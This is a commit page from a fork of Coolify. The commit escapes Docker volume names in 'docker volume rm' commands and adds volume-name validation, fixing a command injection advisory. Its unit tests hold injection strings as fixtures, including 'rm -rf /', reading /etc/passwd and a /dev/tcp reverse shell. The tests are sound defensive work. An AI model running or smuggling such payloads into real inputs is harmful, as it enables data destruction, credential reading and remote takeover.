rosslh/coolify
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

fix(storage): use escapeshellarg for volume names in shell commands

Browse source 
Add proper shell escaping for persistent volume names when used in
docker volume rm commands. Also add volume name validation pattern
to ValidationPatterns for consistent input checking.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
Andras Bacsai 2026-03-26 11:06:30 +01:00
parent d77e4c864f
commit d2064dd499
14 changed files with 149 additions and 13 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

2
app/Actions/Service/DeleteService.php
View file

@ -33,7 +33,7 @@ public function handle(Service $service, bool $deleteVolumes, bool $deleteConnec
}
}
foreach ($storagesToDelete as $storage) {
$commands[] = "docker volume rm -f $storage->name";
$commands[] = 'docker volume rm -f '.escapeshellarg($storage->name);
}
// Execute volume deletion first, this must be done first otherwise volumes will not be deleted.

5
app/Livewire/Project/Service/Storage.php
View file

@ -5,6 +5,7 @@
use App\Models\Application;
use App\Models\LocalFileVolume;
use App\Models\LocalPersistentVolume;
use App\Support\ValidationPatterns;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@ -103,10 +104,10 @@ public function submitPersistentVolume()
$this->authorize('update', $this->resource);
$this->validate([
'name' => 'required|string',
'name' => ValidationPatterns::volumeNameRules(),
'mount_path' => 'required|string',
'host_path' => $this->isSwarm ? 'required|string' : 'string|nullable',
]);
], ValidationPatterns::volumeNameMessages());
$name = $this->resource->uuid.'-'.$this->name;

2
app/Models/Application.php
View file

@ -390,7 +390,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
}

2
app/Models/ApplicationPreview.php
View file

@ -37,7 +37,7 @@ protected static function booted()
$persistentStorages = $preview->persistentStorages()->get() ?? collect();
if ($persistentStorages->count() > 0) {
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
}

2
app/Models/StandaloneClickhouse.php
View file

@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

2
app/Models/StandaloneDragonfly.php
View file

@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

2
app/Models/StandaloneKeydb.php
View file

@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

2
app/Models/StandaloneMariadb.php
View file

@ -136,7 +136,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

2
app/Models/StandaloneMongodb.php
View file

@ -141,7 +141,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

2
app/Models/StandaloneMysql.php
View file

@ -136,7 +136,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

2
app/Models/StandalonePostgresql.php
View file

@ -114,7 +114,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

2
app/Models/StandaloneRedis.php
View file

@ -140,7 +140,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}

37
app/Support/ValidationPatterns.php
View file

@ -45,6 +45,13 @@ class ValidationPatterns
*/
public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"]+$/';
/**
* Pattern for Docker volume names
* Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
* Matches Docker's volume naming rules
*/
public const VOLUME_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
/**
* Pattern for Docker container names
* Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
@ -157,6 +164,36 @@ public static function shellSafeCommandRules(int $maxLength = 1000): array
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN];
}
/**
* Get validation rules for Docker volume name fields
*/
public static function volumeNameRules(bool $required = true, int $maxLength = 255): array
{
$rules = [];
if ($required) {
$rules[] = 'required';
} else {
$rules[] = 'nullable';
}
$rules[] = 'string';
$rules[] = "max:$maxLength";
$rules[] = 'regex:'.self::VOLUME_NAME_PATTERN;
return $rules;
}
/**
* Get validation messages for volume name fields
*/
public static function volumeNameMessages(string $field = 'name'): array
{
return [
"{$field}.regex" => 'The volume name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.',
];
}
/**
* Get validation rules for container name fields
*/

98
tests/Unit/PersistentVolumeSecurityTest.php Normal file
View file

@ -0,0 +1,98 @@
<?php
/**
* Persistent Volume Security Tests
*
* Tests to ensure persistent volume names are validated against command injection
* and that shell commands properly escape volume names.
*
* Related Advisory: GHSA-mh8x-fppq-cp77
* Related Files:
* - app/Models/LocalPersistentVolume.php
* - app/Support/ValidationPatterns.php
* - app/Livewire/Project/Service/Storage.php
* - app/Actions/Service/DeleteService.php
*/
use App\Support\ValidationPatterns;
// --- Volume Name Pattern Tests ---
it('accepts valid Docker volume names', function (string $name) {
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(1);
})->with([
'simple name' => 'myvolume',
'with hyphens' => 'my-volume',
'with underscores' => 'my_volume',
'with dots' => 'my.volume',
'with uuid prefix' => 'abc123-postgres-data',
'numeric start' => '1volume',
'complex name' => 'app123-my_service.data-v2',
]);
it('rejects volume names with shell metacharacters', function (string $name) {
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);
})->with([
'semicolon injection' => 'vol; rm -rf /',
'pipe injection' => 'vol | cat /etc/passwd',
'ampersand injection' => 'vol && whoami',
'backtick injection' => 'vol`id`',
'dollar command substitution' => 'vol$(whoami)',
'redirect injection' => 'vol > /tmp/evil',
'space in name' => 'my volume',
'slash in name' => 'my/volume',
'newline injection' => "vol\nwhoami",
'starts with hyphen' => '-volume',
'starts with dot' => '.volume',
]);
// --- escapeshellarg Defense Tests ---
it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {
$command = 'docker volume rm -f '.escapeshellarg($maliciousName);
// The command should contain the name as a single quoted argument,
// preventing shell interpretation of metacharacters
expect($command)->not->toContain('; ')
->not->toContain('| ')
->not->toContain('&& ')
->not->toContain('`')
->toStartWith('docker volume rm -f ');
})->with([
'semicolon' => 'vol; rm -rf /',
'pipe' => 'vol | cat /etc/passwd',
'ampersand' => 'vol && whoami',
'backtick' => 'vol`id`',
'command substitution' => 'vol$(whoami)',
'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',
]);
// --- volumeNameRules Tests ---
it('generates volumeNameRules with correct defaults', function () {
$rules = ValidationPatterns::volumeNameRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('max:255')
->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);
});
it('generates nullable volumeNameRules when not required', function () {
$rules = ValidationPatterns::volumeNameRules(required: false);
expect($rules)->toContain('nullable')
->not->toContain('required');
});
it('generates correct volumeNameMessages', function () {
$messages = ValidationPatterns::volumeNameMessages();
expect($messages)->toHaveKey('name.regex');
});
it('generates volumeNameMessages with custom field name', function () {
$messages = ValidationPatterns::volumeNameMessages('volume_name');
expect($messages)->toHaveKey('volume_name.regex');
});